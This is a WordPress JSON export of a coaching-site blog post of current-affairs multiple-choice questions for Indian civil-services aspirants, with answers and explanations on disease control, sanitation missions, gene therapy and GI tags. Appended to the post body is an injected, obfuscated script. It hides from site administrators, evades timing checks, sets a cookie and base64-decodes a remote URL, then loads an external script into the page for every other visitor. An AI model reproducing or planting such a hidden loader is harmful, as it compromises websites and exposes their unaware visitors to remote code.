href=\"https:\/\/www.thehindu.com\/news\/cities\/Delhi\/sc-allows-caqm-to-take-pro-active-measures-to-curb-delhi-air-pollution\/article70298380.ece#:~:text=The%20Supreme%20Court%20on%20Wednesday,50%25%20office%20attendance%20in%20the\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/cities\/Delhi\/sc-allows-caqm-to-take-pro-active-measures-to-curb-delhi-air-pollution\/article70298380.ece#:~:text=The%20Supreme%20Court%20on%20Wednesday,50%25%20office%20attendance%20in%20the<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>6. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\">1. Integrated Disease Surveillance Programme (IDSP)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">2. Antimicrobial Resistance (AMR) Containment<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">3. Indian SARS-CoV-2 Genomic Consortium (INSACOG)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">4. Centre for One Health<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">5. Zoonosis Division<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>How many of the above are the key programmes of the National Centre for Disease Control (NCDC) in India?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">(a) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">(b) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">(c) Only four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(d) All five<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>Answer: (d) All five<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>In NEWS: <\/strong>NCDC flags study on rising antibiotic resistance in India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>National Centre for Disease Control (NCDC):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-124\">\n<li>The NCDC was originally established as the <strong>Central Malaria Bureau<\/strong> in 1909 in Delhi.<\/li>\n\n\n\n<li>It was renamed the <strong>National Institute of Communicable Diseases (NICD)<\/strong> in 1963 and later became <strong>National Centre for Disease Control (NCDC)<\/strong>.<\/li>\n\n\n\n<li>Functions under the <strong>Ministry of Health and Family Welfare (MoHFW), Government of India<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>Mandate \/ Functions<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-126\">\n<li><strong>Surveillance of communicable diseases<\/strong> across India.<\/li>\n\n\n\n<li><strong>Prevention and control<\/strong> of outbreaks of infectious diseases.<\/li>\n\n\n\n<li>Provides <strong>training and capacity building<\/strong> in public health and epidemiology.<\/li>\n\n\n\n<li>Conducts <strong>research in microbiology, epidemiology, and public health<\/strong>.<\/li>\n\n\n\n<li>Supports <strong>policy formulation<\/strong> for disease control and health interventions.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>Key Programmes and Divisions<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-128\">\n<li><strong>Integrated Disease Surveillance Programme (IDSP):<\/strong> A program aimed at strengthening IT-enabled, decentralized, laboratory-based disease surveillance systems to monitor trends and respond to outbreaks quickly.<\/li>\n\n\n\n<li><strong>Antimicrobial Resistance (AMR) Containment: <\/strong>A program to monitor AMR trends and promote the responsible use of antibiotics to combat the growing threat of antibiotic resistance.<\/li>\n\n\n\n<li><strong>Indian SARS-CoV-2 Genomic Consortium (INSACOG):<\/strong> A network of national laboratories established in 2020 to monitor and research genomic variations of the SARS-CoV-2 virus.<\/li>\n\n\n\n<li><strong>Centre for One Health:<\/strong> A division focused on the interconnectedness of human, animal, and environmental health, particularly concerning zoonotic diseases.<\/li>\n\n\n\n<li><strong>Zoonosis Division:<\/strong> A specialized division that provides diagnostic and surveillance services for zoonotic diseases, which are diseases that can be transmitted from animals to humans.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>Hence all five are correct.<\/strong><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-130 wp-block-paragraph\" style=\"color:#1207ed\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/health\/indias-drug-resistant-infection-rates-lower-than-us-europe-despite-higher-microbial-colonisation\/article70298818.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/health\/indias-drug-resistant-infection-rates-lower-than-us-europe-despite-higher-microbial-colonisation\/article70298818.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>7. Consider the following pairs:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>S.no<\/strong><\/td><td><strong>Mission<\/strong><\/td><td><strong>Objective<\/strong><\/td><\/tr><tr><td>\u00a01<\/td><td>Swachh Bharat Mission<\/td><td>Eliminate open defecation, promote cleanliness, and manage solid and liquid waste effectively<\/td><\/tr><tr><td>\u00a02<\/td><td>AMRUT Mission<\/td><td>Ensure that urban households have access to a basic level of water supply and sewerage connections<\/td><\/tr><tr><td>\u00a03<\/td><td>Jal Jeevan Mission<\/td><td>Provide safe and adequate drinking water through individual household tap connections to every rural household<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>Which of the pairs given above are correctly matched?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>In NEWS: <\/strong>Waste to Wellness: India\u2019s Sanitation Journey<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"599\" height=\"459\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-18.png\" alt=\"\" class=\"wp-image-2764\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-18.png 599w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-18-300x230.png 300w\" sizes=\"auto, (max-width: 599px) 100vw, 599px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Mission<\/strong><\/td><td><strong>Primary Focus<\/strong><\/td><td><strong>Objective<\/strong><\/td><td><strong>Rural vs. Urban<\/strong><\/td><\/tr><tr><td><strong>Swachh Bharat Mission (SBM)<\/strong><\/td><td>Sanitation and solid waste management<\/td><td>Eliminate open defecation, promote cleanliness, and manage solid and liquid waste effectively<\/td><td>Covers both rural (SBM-Grameen) and urban (SBM-Urban) areas<\/td><\/tr><tr><td><strong>Atal Mission for Rejuvenation and Urban Transformation (AMRUT)<\/strong><\/td><td>Urban infrastructure, including water supply, sewerage, and drainage<\/td><td>Ensure that urban households have access to a basic level of water supply and sewerage connections<\/td><td>Focuses on urban areas<\/td><\/tr><tr><td><strong>Jal Jeevan Mission (JJM)<\/strong><\/td><td>Functional household tap water connections<\/td><td>Provide safe and adequate drinking water through individual household tap connections to every rural household<\/td><td>Primarily focuses on rural areas<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>Hence all pairs are correctly matched.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2191618\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2191618<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>8. Which one of the following statements best reflects the idea behind the \u201cBIRSA 101\u201d technology recently seen in the news?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\">(a) A vaccine developed using recombinant DNA technology to prevent Sickle Cell Disease in tribal populations.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">(b) A stem-cell transplantation protocol developed for the treatment of hereditary blood disorders.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\">(c) A population-level genomic screening programme to identify carriers of Sickle Cell Disease in high-risk districts.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">(d) A CRISPR-based gene therapy that edits the patient\u2019s own cells to correct the genetic mutation responsible for Sickle Cell Disease.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>Answer: (d) A CRISPR-based gene therapy that edits the patient\u2019s own cells to correct the genetic mutation responsible for Sickle Cell Disease.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>In NEWS: <\/strong>Union Minister Dr. Jitendra Singh launches India&#8217;s first indigenous &#8220;CRISPR&#8221; based gene therapy for Sickle Cell Disease, which particularly affects India&#8217;s tribal population<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>BIRSA 101 (CRISPR-based Gene Therapy):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-151\">\n<li>BIRSA 101 is India\u2019s <strong>first <\/strong>indigenous CRISPR-based gene therapy developed for <strong>Sickle Cell Disease. Hence option (d) is correct.<\/strong><\/li>\n\n\n\n<li>The therapy has been developed by CSIR\u2013Institute of Genomics &amp; Integrative Biology (IGIB).<\/li>\n\n\n\n<li>The CRISPR platform used in BIRSA 101 is based on the <strong>enFnCas9 <\/strong>gene-editing system.<\/li>\n\n\n\n<li>A technology transfer agreement for BIRSA 101 has been signed between <strong>CSIR-IGIB and the Serum Institute of India.<\/strong><\/li>\n\n\n\n<li>The therapy is named in honour of <strong>Bhagwan Birsa Munda<\/strong> on his 150th birth anniversary.<\/li>\n\n\n\n<li>BIRSA 101 aims to offer a <strong>low-cost alternative<\/strong> to global Sickle Cell Disease treatments that cost <strong>\u20b920\u201325 crore.<\/strong><\/li>\n\n\n\n<li>The therapy particularly targets tribal populations in central and eastern India, where Sickle Cell Disease prevalence is high.<\/li>\n\n\n\n<li>The initiative supports the government\u2019s vision of making India Sickle Cell\u2013Free by <strong>2047.<\/strong><\/li>\n\n\n\n<li>The launch of BIRSA 101 aligns with the goals of <strong>Atmanirbhar Bharat<\/strong> in advanced biomedical technologies.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><br><strong>Q. What is Cas9 protein that is often mentioned in news?<\/strong> <strong>\u00a0<\/strong> <br><br><strong>(a) A molecular scissors used in targeted gene editing<\/strong> <br>(b) A biosensor used in the accurate detection of pathogens in patients <br>(c) A gene that makes plants pest-resistant <br>(d) A herbicidal substance synthesized in genetically modified crops<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-152 wp-block-paragraph\" style=\"color:#1905f4\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2191740\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2191740<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>9. With reference to recent Geographical Indication (GI) recognitions in India, consider the following:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\">1. Meerut Bugle<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\">2. Ambaji Marble<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\">3. Panna Diamonds<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\">4. Hyderabad Pearls<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>Which of the above mentioned products have given Geographical Indication (GI) recognitions in India?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\">(b) 2, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">(c) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\"><strong>Answer: (d) 1, 2, 3 and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>Recent&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\">India has recently seen a surge in geographical indication (GI) recognitions across diverse traditional products, strengthening cultural identity and boosting local economies.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-167\">\n<li><strong>Meerut\u2019s 140-year-old brass bugles<\/strong> have secured the GI tag, preserving their long-standing association with military bands and giving traditional artisans global visibility.<\/li>\n\n\n\n<li><strong>Ambaji Marble from Gujarat<\/strong>, known for its fine grain and aesthetic appeal, has also been granted a GI tag, enhancing its export potential and safeguarding its authenticity.<\/li>\n\n\n\n<li>In Madhya Pradesh, <strong>Panna Diamonds<\/strong>\u2014celebrated for their natural brilliance and sourced from one of the country\u2019s oldest diamond belts\u2014have earned GI recognition, providing brand protection and market advantage to local miners.<\/li>\n\n\n\n<li>Additionally, <strong>Hyderabad Pearls<\/strong>, synonymous with the historic \u201cCity of Pearls,\u201d have moved closer to securing a GI tag, reinforcing their reputation for handcrafted quality and unique luster.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\"><strong>Hence option (d) 1, 2, 3 and 4 are correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. Which of the following has\/have been accorded &#8216;Geographical Indication&#8217; status?<\/strong> <br><br>1. Banaras Brocades and Sarees <br>2. Rajasthani Daal-Bati-Churma <br>3. Tirupathi Laddu <br><br><strong>Select the correct answer using the code given below:<\/strong> <br><br>(a) 1 only <br>(b) 2 and 3 only <br><strong>(c) 1 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>10. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\">1. The Montagu-Chelmsford Reforms of 1919 recommended granting voting. rights to all the women above the age of 21.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\">2. The Government of India Act of 1935 gave women reserved seats in legislature.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\"><strong>Answer: (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\">1. The 1919 reforms <strong>did not recommend universal franchise for women<\/strong>. Limited women\u2019s suffrage was introduced only gradually by provinces from 1921 onwards, and only for restricted categories (property, education, etc.) <strong>Hence statement 1 is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\">2. The 1935 Act provided for reservation of seats for women in provincial legislatures. <strong>Hence statement 2 is correct.<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>&nbsp; Which among the following statements are correct with respect to the Comptroller and Auditor General (CAG) of India? 1. [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1359,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1,68,39,71,11,42],"tags":[],"class_list":["post-2763","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-daily-current-affairs","category-daws","category-good-morning-test","category-prelims","category-prelims-current-affairs-gmt"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2763","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=2763"}],"version-history":[{"count":2,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2763\/revisions"}],"predecessor-version":[{"id":2935,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2763\/revisions\/2935"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/1359"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=2763"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=2763"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=2763"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}